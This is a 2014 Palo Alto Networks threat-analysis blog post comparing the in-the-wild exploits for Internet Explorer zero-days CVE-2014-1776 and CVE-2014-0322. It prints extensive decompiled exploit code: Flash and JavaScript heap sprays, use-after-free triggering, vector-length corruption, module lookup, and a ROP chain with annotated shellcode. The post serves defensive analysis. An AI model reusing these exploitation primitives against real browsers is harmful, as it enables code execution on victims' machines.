* [Blog](https://www2.paloaltonetworks.com/blog) * [Palo Alto Networks](https://www2.paloaltonetworks.com/blog/corporate/) * [Cybersecurity](https://www2.paloaltonetworks.com/blog/category/cybersecurity-2/) * CVE-2014-1776: How Easy I... # CVE-2014-1776: How Easy It Is To Attack These Days [](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2F2014%2F05%2Fcve-2014-1776-easy-attack-days%2F) [](https://twitter.com/share?text=CVE-2014-1776%3A+How+Easy+It+Is+To+Attack+These+Days&url=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2F2014%2F05%2Fcve-2014-1776-easy-attack-days%2F) [](https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2F2014%2F05%2Fcve-2014-1776-easy-attack-days%2F&title=CVE-2014-1776%3A+How+Easy+It+Is+To+Attack+These+Days&summary=&source=) [](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https://www2.paloaltonetworks.com/blog/2014/05/cve-2014-1776-easy-attack-days/&ts=markdown) \[\](mailto:?subject=CVE-2014-1776: How Easy It Is To Attack These Days) Link copied By [Palo Alto Networks](https://www.paloaltonetworks.com/blog/author/palo-alto-networks-staff/?ts=markdown "Posts by Palo Alto Networks") May 06, 2014 15 minutes [Cybersecurity](https://www.paloaltonetworks.com/blog/category/cybersecurity-2/?ts=markdown) [Threat Advisory/Analysis](https://www.paloaltonetworks.com/blog/category/threat-advisory-analysis/?ts=markdown) [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown) [CVE-2014-0322](https://www.paloaltonetworks.com/blog/tag/cve-2014-0322/?ts=markdown) [CVE-2014-1776](https://www.paloaltonetworks.com/blog/tag/cve-2014-1776/?ts=markdown) [Cyvera](https://www.paloaltonetworks.com/blog/tag/cyvera/?ts=markdown) [internet explorer](https://www.paloaltonetworks.com/blog/tag/internet-explorer/?ts=markdown) [microsoft](https://www.paloaltonetworks.com/blog/tag/microsoft/?ts=markdown) [Research](https://www.paloaltonetworks.com/blog/tag/research/?ts=markdown) [zero-day](https://www.paloaltonetworks.com/blog/tag/zero-day/?ts=markdown) *This post originally appeared on Cyvera.com.* Just about a week ago, everyone was alarmed due to [a new zero-day vulnerability affecting Internet Explorer 6 through 11](https://www.paloaltonetworks.com/blog/2014/04/palo-alto-networks-protects-customers-critical-ie-vulnerability-cve-2014-1776/). The vulnerability was used in attacks in the wild, which targeted IE 8 to IE 11. The impact was so severe that [Microsoft hurried to issue an out-of-band patch](http://blogs.technet.com/b/msrc/archive/2014/05/01/out-of-band-release-to-address-microsoft-security-advisory-2963983.aspx). Today, I would like to show how relatively easy it is to attack these days, [when you can just reuse code](https://www.paloaltonetworks.com/blog/2014/05/tale-3-vulnerabilities-cve-2014-1776-exploit-linked-previous-attacks/). We will compare [the attack that used CVE-2014-0322](http://cyvera.com/cve-2014-0322-internet-explorer-10-zero-day-used-in-an-a-watering-hole-attack/) (then, an IE zero-day) to the current attacks utilizing CVE-2014-1776. We will show an almost exact match between the two templates for the attacks, indicating that either the same group was behind the two campaigns, or that the ease of acquiring used exploit code (even from public sources) allows different groups to quickly reuse and adapt the same code to the next vulnerability. ### Overview Both attacks utilize use-after-free vulnerabilities in IE, and leverage Flash Player in order to easily bypass DEP and ASLR. In both cases the scheme is the same: * Load a Flash SWF file. * Spray the heap with ActionScript uint vector objects with 0x3FE elements, for a total of 0x1000 bytes (i.e., 1 page) of memory for each vector object (including the vector's management information, which should be inaccessible directly from the ActionScript code). * Spray the heap with references to a Sound object, to be used later as the first trigger to the shellcode. * Call a JavaScript function in the HTML page and set a timer to invoke another AS function. * Trigger a UAF vulnerability using the JavaScript code, while spraying the heap in order to ensure that the used block is controlled. * Use the bug to change an AS vector's size (which is inaccessible directly from AS). * Back in the timed function in the SWF, use the modified vector to change an adjacent vector's size to encompass all virtual memory, effectively achieving full memory disclosure and writing abilities (where current permissions allow that). * Find a module in memory and reach NTDLL by hopping through modules' import address tables. * Find a stack pivoting gadget in NTDLL as well as the address of ZwProtectVirtualMemory. * Overwrite the virtual function table pointer of the Sound object to initiate code execution by calling the Sound object's (replaced) toString function. Then, use a few ROP gadgets to pivot the stack, change the permissions on the shellcode to RWX, and execute the shellcode. * Restore normal operation. There are, however, some improvements in this CVE-2014-1776 attack over the CVE-2014-0322 attack. For example, while all the hard work is crammed into one big function in the CVE-2014-0322 attack, the authors of the CVE-2014-1776 attack strove for cleaner code and broke the huge pile of code into many smaller functions, which constitute basic primitives for the larger goal. In fact, now it is even easier to reuse this code for the next exploit... ### The Flash Spray In both cases vectors of uints are sprayed (with 0x3FE elements in each vector), as well as references to a Sound object. The values of the uints in the sprayed vectors are constructed so as to fit the address the attacker had chosen and the vulnerability (and the browser, if applicable). **CVE-2014-1776** CVE-2014-1776 Heap Spray ActionScript var \_local6:\* = ((0x1000 / 4) - 2); var \_local7:\* = 0; var \_local8:\* = ((0x1000 / 4) - 17); var \_local9:\* = (0x18182000 + 8); var \_local10:\* = 0; var \_local11:uint; var \_local12:uint = 0x41414141; \_local1 = 0; this.m\_rawLen = \_local6; this.m\_mySo = SharedObject.getLocal("mySo32"); var \_local13:Boolean = this.DetmineCookie(); while (\_local1 \< this.m\_suf) { this.s\[\_local1\] = new Vector.\(\_local6); if (this.m\_iver == "8"){ return; }; if (this.m\_iver == "9"){ this.s\[\_local1\]\[0\] = 0; this.setArrValue(\_local1, 6, ((\_local9 + 16) - 120)); this.setArrValue(\_local1, (6 + 4), ((\_local9 + 80) - 28)); \_local10 = 16; this.setArrValue(\_local1, \_local10, ((\_local9 + 32) - 44)); this.setArrValue(\_local1, (\_local10 + 12), ((\_local9 + 32) - 44)); \_local10 = 32; this.setArrValue(\_local1, \_local10, (\_local9 + 52)); this.setArrValue(\_local1, (\_local10 + 4), 0x42424242); this.setArrValue(\_local1, (\_local10 + 16), 0); \_local10 = 52; this.setArrValue(\_local1, \_local10, 0x42424242); this.setArrValue(\_local1, (\_local10 + 8), 0x42424242); \_local10 = 80; this.setArrValue(\_local1, \_local10, (((\_local9 + 80) + 4) - 4)); this.setArrValue(\_local1, (\_local10 + 4), (((\_local9 + 80) + 8) - 168)); this.setArrValue(\_local1, (\_local10 + 8), 0); \_local10 = 0x0100; this.s\[\_local1\]\[((\_local10 + 4) / 4)\] = (((\_local9 + 8) + \_local10) + 376); this.s\[\_local1\]\[((\_local10 + 8) / 4)\] = 0; this.s\[\_local1\]\[((\_local10 + 12) / 4)\] = ((((\_local10 + \_local9) + 12) + 12) + 4); this.s\[\_local1\]\[(((\_local10 + 12) + 12) / 4)\] = 1; \_local10 = (((\_local10 + 12) + 12) + 4); this.s\[\_local1\]\[((\_local10 + 28) / 4)\] = ((\_local9 + 4088) - 66); this.s\[\_local1\]\[((\_local10 + 36) / 4)\] = 0xFFFF0000; this.s\[\_local1\]\[((\_local10 + 48) / 4)\] = 0x41414141; this.s\[\_local1\]\[((\_local10 + 112) / 4)\] = 0x46464646; \_local10 = (4088 - 66); this.setArrValue(\_local1, (\_local10 - 12), 1094795761); this.setArrValue(\_local1, (\_local10 + 0), (((\_local9 + \_local10) + 8) - 32)); this.setArrValue(\_local1, (\_local10 + 8), 0xFFFFFFFF); this.setArrValue(\_local1, (\_local10 + 12), 15); this.setArrValue(\_local1, (\_local10 + 32), 0); this.setArrValue(\_local1, ((\_local10 + 36) + 20), 0); this.setArrValue(\_local1, (\_local10 + 60), 0xFFFFFFFF); this.s\[\_local1\]\[(1022 - 1)\] = 0xFFFFFFFF; } else { if (this.m\_iver == "10"){ ... }; \_local1++; }; \_local1 = 0; while (\_local1 \< 0x0400) { this.ss\[\_local1\] = new Vector.\(\_local8); \_local2 = 0; while (\_local2 \< \_local8) { this.ss\[\_local1\]\[\_local2\] = this.snd; \_local2++; }; \_local1++; }; |-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | var \_local6:\* = ((0x1000 / 4) - 2); var \_local7:\* = 0; var \_local8:\* = ((0x1000 / 4) - 17); var \_local9:\* = (0x18182000 + 8); var \_local10:\* = 0; var \_local11:uint; var \_local12:uint = 0x41414141; \_local1 = 0; this.m\_rawLen = \_local6; this.m\_mySo = SharedObject.getLocal("mySo32"); var \_local13:Boolean = this.DetmineCookie(); while (\_local1 \< this.m\_suf) { this.s\[\_local1\] = new Vector.\(\_local6); if (this.m\_iver == "8"){ return; }; if (this.m\_iver == "9"){ this.s\[\_local1\]\[0\] = 0; this.setArrValue(\_local1, 6, ((\_local9 + 16) - 120)); this.setArrValue(\_local1, (6 + 4), ((\_local9 + 80) - 28)); \_local10 = 16; this.setArrValue(\_local1, \_local10, ((\_local9 + 32) - 44)); this.setArrValue(\_local1, (\_local10 + 12), ((\_local9 + 32) - 44)); \_local10 = 32; this.setArrValue(\_local1, \_local10, (\_local9 + 52)); this.setArrValue(\_local1, (\_local10 + 4), 0x42424242); this.setArrValue(\_local1, (\_local10 + 16), 0); \_local10 = 52; this.setArrValue(\_local1, \_local10, 0x42424242); this.setArrValue(\_local1, (\_local10 + 8), 0x42424242); \_local10 = 80; this.setArrValue(\_local1, \_local10, (((\_local9 + 80) + 4) - 4)); this.setArrValue(\_local1, (\_local10 + 4), (((\_local9 + 80) + 8) - 168)); this.setArrValue(\_local1, (\_local10 + 8), 0); \_local10 = 0x0100; this.s\[\_local1\]\[((\_local10 + 4) / 4)\] = (((\_local9 + 8) + \_local10) + 376); this.s\[\_local1\]\[((\_local10 + 8) / 4)\] = 0; this.s\[\_local1\]\[((\_local10 + 12) / 4)\] = ((((\_local10 + \_local9) + 12) + 12) + 4); this.s\[\_local1\]\[(((\_local10 + 12) + 12) / 4)\] = 1; \_local10 = (((\_local10 + 12) + 12) + 4); this.s\[\_local1\]\[((\_local10 + 28) / 4)\] = ((\_local9 + 4088) - 66); this.s\[\_local1\]\[((\_local10 + 36) / 4)\] = 0xFFFF0000; this.s\[\_local1\]\[((\_local10 + 48) / 4)\] = 0x41414141; this.s\[\_local1\]\[((\_local10 + 112) / 4)\] = 0x46464646; \_local10 = (4088 - 66); this.setArrValue(\_local1, (\_local10 - 12), 1094795761); this.setArrValue(\_local1, (\_local10 + 0), (((\_local9 + \_local10) + 8) - 32)); this.setArrValue(\_local1, (\_local10 + 8), 0xFFFFFFFF); this.setArrValue(\_local1, (\_local10 + 12), 15); this.setArrValue(\_local1, (\_local10 + 32), 0); this.setArrValue(\_local1, ((\_local10 + 36) + 20), 0); this.setArrValue(\_local1, (\_local10 + 60), 0xFFFFFFFF); this.s\[\_local1\]\[(1022 - 1)\] = 0xFFFFFFFF; } else { if (this.m\_iver == "10"){ ... }; \_local1++; }; \_local1 = 0; while (\_local1 \< 0x0400) { this.ss\[\_local1\] = new Vector.\(\_local8); \_local2 = 0; while (\_local2 \< \_local8) { this.ss\[\_local1\]\[\_local2\] = this.snd; \_local2++; }; \_local1++; }; | **CVE-2014-0322** CVE-2014-0322 Heap Spray ActionScript loc1 = 0; var loc9:\*=0x1A1B2000; // this.s is a vector of 0x18180 elements, each of which being a vector of 0x3FE (1022) UINTs // When sprayed (like so), the uint vectors follow each other in memory in the format: number of elements (4 bytes - 0x3FE), unknown (4 bytes), elements(0x3FE \* 4 bytes) // Total size in bytes of such a uint vector: 0x1000 (4096) bytes. while (loc1 \< 0x18180) { this.s\[loc1\] = new Vector.\(0x3FE); //ManipulatedBufferIndex); this.s\[loc1\]\[0\] = 0xDEADBEE1; loc7 = 1; this.s\[loc1\]\[(0x10 - 8) / 4\] = 0x1A1B2000; //loc9; this.s\[loc1\]\[(0x14 - 8) / 4\] = 0x1A1B2000; //loc9; this.s\[loc1\]\[(0x2F0 - 8) / 4\] = 0x41414141; this.s\[loc1\]\[(0x1C0 - 8) / 4\] = 0; ++loc1; } loc1 = 0; // this.ss is a vector of 0x400 (1024) elements, each of which being a vector of 0x3FE (1022) references to the same sound object // When sprayed (like so), the sound-reference vectors follow each other in memory in the format: number of elements (4 bytes - 0x3FE), irrelevant (4 bytes), elements(0x3FE \* 4 bytes) // Total size in bytes of such a sound-reference vector: 0x1000 (4096) bytes. while (loc1 \< 0x400) { this.ss\[loc1\] = new Vector.\(0x3EF) //loc8); loc2 = 0; while (loc2 \< 0x3EF) //loc8) { this.ss\[loc1\]\[loc2\] = this.snd; ++loc2; } ++loc1; } |-------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | loc1 = 0; var loc9:\*=0x1A1B2000; // this.s is a vector of 0x18180 elements, each of which being a vector of 0x3FE (1022) UINTs // When sprayed (like so), the uint vectors follow each other in memory in the format: number of elements (4 bytes - 0x3FE), unknown (4 bytes), elements(0x3FE \* 4 bytes) // Total size in bytes of such a uint vector: 0x1000 (4096) bytes. while (loc1 \< 0x18180) { this.s\[loc1\] = new Vector.\(0x3FE); //ManipulatedBufferIndex); this.s\[loc1\]\[0\] = 0xDEADBEE1; loc7 = 1; this.s\[loc1\]\[(0x10 - 8) / 4\] = 0x1A1B2000; //loc9; this.s\[loc1\]\[(0x14 - 8) / 4\] = 0x1A1B2000; //loc9; this.s\[loc1\]\[(0x2F0 - 8) / 4\] = 0x41414141; this.s\[loc1\]\[(0x1C0 - 8) / 4\] = 0; ++loc1; } loc1 = 0; // this.ss is a vector of 0x400 (1024) elements, each of which being a vector of 0x3FE (1022) references to the same sound object // When sprayed (like so), the sound-reference vectors follow each other in memory in the format: number of elements (4 bytes - 0x3FE), irrelevant (4 bytes), elements(0x3FE \* 4 bytes) // Total size in bytes of such a sound-reference vector: 0x1000 (4096) bytes. while (loc1 \< 0x400) { this.ss\[loc1\] = new Vector.\(0x3EF) //loc8); loc2 = 0; while (loc2 \< 0x3EF) //loc8) { this.ss\[loc1\]\[loc2\] = this.snd; ++loc2; } ++loc1; } | ### The UAF Triggering In both attacks, the JS code which triggers the vulnerability is called from the ActionScript code, using the external interface. The AS code then registers a function to be invoked at a later time and search for the artifacts of the triggered vulnerability. Although the code performing the actual UAF is almost the same, there are some differences in behavior here: * In the current attack, the JS function gets a parameter, which holds JavaScript code that is crucial for the vulnerability to arise. In contrast, in the previous attack, the entire JavaScript code was present in the HTML. * In the current attack, the JS code sent to the external function lies encrypted (using RC4) in the SWF file, and is decrypted only prior to sending it to the external interface. Other parts in the SWF (relating to the shellcode) are also encrypted. Consequently, if you only have the HTML file, you cannot reproduce the zero-day (and vice versa). In contrast, the previous attack had no encrypted elements at all. * In yet another effort to make sure the zero-day is not compromised even if one file falls into the wrong hands, in the current attack the HTML file was split into two files, the second one containing the JS code used for the heap-spray. The heap-sprays, though, are very much alike. **CVE-2014-1776** CVE-2014-1776 JavaScript Heap Spray JavaScript var g\_arr = \[\]; var arrLen = 0x250; var m\_block; var g\_mark = 1; function fun() { var CsEEuo1 = 0; for(CsEEuo1 = 0; CsEEuo1 \< arrLen; ++CsEEuo1) { g\_arr\[CsEEuo1\] = window\["document"\]\["createElement"\]('div'); } var KzmQtp2 = dword2data(0x4eadc0de); var osLECEF3 = 0x18181818; while (KzmQtp2\["length"\] \< 0xd8) { if (KzmQtp2\["length"\] == (0x5c/2)) { KzmQtp2 += dword2data(osLECEF3-0x18-0xc); } else if (KzmQtp2\["length"\] == (0xa0/2)) { KzmQtp2 += dword2data(osLECEF3 + 0x10); } else { KzmQtp2 += dword2data(0x41414141); } } m\_block = KzmQtp2\["substring"\](0,(0xd8-2)/2) try { this\[removeNode\](true); } catch(e){} CollectGarbage(); for (CsEEuo1 = 0; CsEEuo1 \< (arrLen/2); ++CsEEuo1) { g\_arr\[CsEEuo1\]\[title\] = m\_block\["substring"\](0, m\_block\[length\]); } g\_mark++; } |----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | var g\_arr = \[\]; var arrLen = 0x250; var m\_block; var g\_mark = 1; function fun() { var CsEEuo1 = 0; for(CsEEuo1 = 0; CsEEuo1 \< arrLen; ++CsEEuo1) { g\_arr\[CsEEuo1\] = window\["document"\]\["createElement"\]('div'); } var KzmQtp2 = dword2data(0x4eadc0de); var osLECEF3 = 0x18181818; while (KzmQtp2\["length"\] \< 0xd8) { if (KzmQtp2\["length"\] == (0x5c/2)) { KzmQtp2 += dword2data(osLECEF3-0x18-0xc); } else if (KzmQtp2\["length"\] == (0xa0/2)) { KzmQtp2 += dword2data(osLECEF3 + 0x10); } else { KzmQtp2 += dword2data(0x41414141); } } m\_block = KzmQtp2\["substring"\](0,(0xd8-2)/2) try { this\[removeNode\](true); } catch(e){} CollectGarbage(); for (CsEEuo1 = 0; CsEEuo1 \< (arrLen/2); ++CsEEuo1) { g\_arr\[CsEEuo1\]\[title\] = m\_block\["substring"\](0, m\_block\[length\]); } g\_mark++; } | **CVE-2014-0322** CVE-2014-0322 JavaScript Heap Spray JavaScript function fun() { var a=0; for(a=0;a\).length \> this.m\_rawLen){ break; }; } catch(e:Error) { }; \_local25 = (\_local25 + 1); }; if (\_local25 == this.m\_suf){ return; }; \_local26 = 1; \_local28 = -1; this.s\[\_local25\]\[(((0x1000 \* \_local26) / 4) - 2)\] = 0x3FFFFFF0; \_local37 = 0; while (\_local37 \< this.s.length) { if (this.s\[\_local37\].length == 0x3FFFFFF0){ \_local28 = \_local37; \_local12 = (\_local12 + 0x1000); break; }; \_local37++; }; if (\_local28 == -1){ return; }; |----------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | \_local25 = 0; while (\_local25 \< this.m\_suf) { try { if ((this.s\[\_local25\] as Vector.\).length \> this.m\_rawLen){ break; }; } catch(e:Error) { }; \_local25 = (\_local25 + 1); }; if (\_local25 == this.m\_suf){ return; }; \_local26 = 1; \_local28 = -1; this.s\[\_local25\]\[(((0x1000 \* \_local26) / 4) - 2)\] = 0x3FFFFFF0; \_local37 = 0; while (\_local37 \< this.s.length) { if (this.s\[\_local37\].length == 0x3FFFFFF0){ \_local28 = \_local37; \_local12 = (\_local12 + 0x1000); break; }; \_local37++; }; if (\_local28 == -1){ return; }; | **CVE-2014-0322** CVE-2014-0322 Vector Manipulation ActionScript loc28 = 0; // Look for a uint vector with a modified size property // The vector will seem larger by 2 elements, for a total of 1024 elements, allowing it to overwrite the number-of-elements field in the uint vector immediately following it while (loc28 \< 0x18180) { try { if ((this.s\[loc28\] as Vector.\).length \> this.m\_rawLen) { break; } } catch (e:Error) { }; loc28 = loc28 + 1; } // Bail out if we can't find the manipulated vector if (loc28 == 0x18180) { return; } this.found = true; // loc28 currently holds the index of the first modified vector in this.s (the one whose length was incremented by 2) // The following line is logically: this.s\[loc28\]\[original\_original\_number\_of\_elements\_in\_uint\_vector\] = 0x3FFFFFF0 // This is an off-by-one assignment, but it works since we've previously modified the length field of the vector // In effect, this changes the length field of the consecutive vector in memory to 0x3FFFFFF0 this.s\[loc28\]\[0x1000 / 4 - 2\] = 0x3FFFFFF0; loc1 = loc28; loc29 = loc28; // Look for the modified vector in this.s (should really be this.s\[loc28 + 1\]) while (loc29 \< loc28 + 10) { if (this.s\[loc29\].length == 0x3FFFFFF0) { ManipulatedBufferIndex = loc29; // Update loc20 (renamed to ManipulatedBufferAddress) to indicate the memory address of the first element of the second modified uint vector (size 0x3FFFFFF0) ManipulatedBufferAddress = ManipulatedBufferAddress + (loc29 - loc28) \* 0x1000; loc31 = 100; break; } loc29 = loc29 + 1; } // We had 10 chances of finding the second modified vector, but we still failed - bail out if (loc29 == loc28 + 10) { return; } |----------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | loc28 = 0; // Look for a uint vector with a modified size property // The vector will seem larger by 2 elements, for a total of 1024 elements, allowing it to overwrite the number-of-elements field in the uint vector immediately following it while (loc28 \< 0x18180) { try { if ((this.s\[loc28\] as Vector.\).length \> this.m\_rawLen) { break; } } catch (e:Error) { }; loc28 = loc28 + 1; } // Bail out if we can't find the manipulated vector if (loc28 == 0x18180) { return; } this.found = true; // loc28 currently holds the index of the first modified vector in this.s (the one whose length was incremented by 2) // The following line is logically: this.s\[loc28\]\[original\_original\_number\_of\_elements\_in\_uint\_vector\] = 0x3FFFFFF0 // This is an off-by-one assignment, but it works since we've previously modified the length field of the vector // In effect, this changes the length field of the consecutive vector in memory to 0x3FFFFFF0 this.s\[loc28\]\[0x1000 / 4 - 2\] = 0x3FFFFFF0; loc1 = loc28; loc29 = loc28; // Look for the modified vector in this.s (should really be this.s\[loc28 + 1\]) while (loc29 \< loc28 + 10) { if (this.s\[loc29\].length == 0x3FFFFFF0) { ManipulatedBufferIndex = loc29; // Update loc20 (renamed to ManipulatedBufferAddress) to indicate the memory address of the first element of the second modified uint vector (size 0x3FFFFFF0) ManipulatedBufferAddress = ManipulatedBufferAddress + (loc29 - loc28) \* 0x1000; loc31 = 100; break; } loc29 = loc29 + 1; } // We had 10 chances of finding the second modified vector, but we still failed - bail out if (loc29 == loc28 + 10) { return; } | ### Looking for Modules and Functions This is pretty straightforward - find a module in memory, go backwards to find its base, parse the PE header and look for a function imported from KERNEL32.DLL, repeat the same process to go from KERNEL32.DLL to NTDLL.DLL, and then parse its import table looking for the needed functions. However, the code for the recent attack has one improvement over the older code: The new code uses the Sound object's vftable to get a function pointer which points inside the Flash OCX, while the older code scans the memory and tries to find an executable image by brute-forcing. **CVE-2014-1776** CVE-2014-1776 Finding the First Module in Memory ActionScript \_local9 = (\_local9 \& 0xFFFFFFFC); \_local16 = \_local9; this.m\_flashVirtual = \_local16; \_local17 = this.getModuleBase((this.read32(\_local9) \& 0xFFFF0000)); |---------|-------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 | \_local9 = (\_local9 \& 0xFFFFFFFC); \_local16 = \_local9; this.m\_flashVirtual = \_local16; \_local17 = this.getModuleBase((this.read32(\_local9) \& 0xFFFF0000)); | **CVE-2014-0322** CVE-2014-0322 Finding the First Module in Memory ActionScript loc31 = loc11 / 0x10000; loc28 = 0; // Look for an executable image in memory - they all start at a 64k boundary // 0x5A4D is "MZ" while (loc28 \< loc31) { try { if (loc11 \> ManipulatedBufferAddress) { if (this.s\[ManipulatedBufferIndex\]\[(loc11 - ManipulatedBufferAddress) / 4\] % 0x10000 == 0x5A4D) { break; } loc11 = loc11 - 0x10000; } else { if (this.s\[ManipulatedBufferIndex\]\[0x40000000 + (loc11 - ManipulatedBufferAddress) / 4\] % 0x10000 == 0x5A4D) { break; } loc11 = loc11 - 0x10000; } } catch (e:Error) { }; loc28 = loc28 + 1; } |----------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | loc31 = loc11 / 0x10000; loc28 = 0; // Look for an executable image in memory - they all start at a 64k boundary // 0x5A4D is "MZ" while (loc28 \< loc31) { try { if (loc11 \> ManipulatedBufferAddress) { if (this.s\[ManipulatedBufferIndex\]\[(loc11 - ManipulatedBufferAddress) / 4\] % 0x10000 == 0x5A4D) { break; } loc11 = loc11 - 0x10000; } else { if (this.s\[ManipulatedBufferIndex\]\[0x40000000 + (loc11 - ManipulatedBufferAddress) / 4\] % 0x10000 == 0x5A4D) { break; } loc11 = loc11 - 0x10000; } } catch (e:Error) { }; loc28 = loc28 + 1; } | ### Running the Shellcode In both cases, the Sound object's vftable pointer is overwritten, pointing to a pre-crafted area in memory. Then, the Sound object's toString method is called (#28 in the table), which runs a stack pivoting gadget chained to a gadget that uses ZwVirtualProtect on the shellcode, which immediately follows. The shellcode begins by saving information and restoring overwritten values. **CVE-2014-1776** CVE-2014-1776 ROP and Shellcode Initiation ActionScript this.s\[\_local28\]\[((((\_local6 - \_local12) / 4) - 2) - 4)\] = (\_local41 \& 0xFFFFF000); // Address to change the protection on this.s\[\_local28\]\[((((\_local6 - \_local12) / 4) - 1) - 4)\] = 0x3000; // Number of bytes to change protection on this.s\[\_local28\]\[((\_local6 - \_local12) / 4)\] = \_local10; // Addr of ZwProtectVirtualMemory this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 1)\] = (\_local41 + 0x1C); // Return to (index of \_local41) + 7 this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 2)\] = 0xFFFFFFFF; // ProcessHandle (-1 = current process) this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 3)\] = (\_local6 - 0x18); // \&BaseAddress ((index of loc2) - 6 ==\> BaseAddress = loc2 \& 0xFFFFF000) this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 4)\] = (\_local6 - 0x14); // \&NumberOfBytesToProtect this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 5)\] = 0x40; // NewAccessProtection (0x40 = PAGE\_READWRITEEXECUTE this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 6)\] = (\_local6 - 0x1C); // \&OldAccessProtection this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 7)\] = 0x18002D89; // Shellcode begins here this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 8)\] = 0xB8901818; // MOV \[0x18181800\],EBP this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 9)\] = \_local9; // MOV EAX,Addr of vftable pointer this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 10)\] = 0x00C79090; this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 11)\] = \_local7; // MOV \[EAX\],Original vftable pointer this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 12)\] = 0xB8909090; // MOV EAX,Addr of overwritten vec len this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 13)\] = (this.m\_longArrBase - 8); this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 14)\] = 0x00C79090; // MOV \[EAX\],Original vec len this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 15)\] = this.m\_rawLen; this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 16)\] = 0xEC83E58B; // MOV ESP,EBP this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 17)\] = 0x2CEB902C; // SUB ESP,0x2C this.s\[\_local28\]\[(((\_local41 - \_local12) / 4) + 17)\] = 0x2CEB902C; // JMP +0x2C this.s\[\_local28\]\[(((\_local6 - \_local12) / 4) + 28)\] = this.m\_xchgInstAddr; // Overwrites the address of toString in the Sound object's vftable 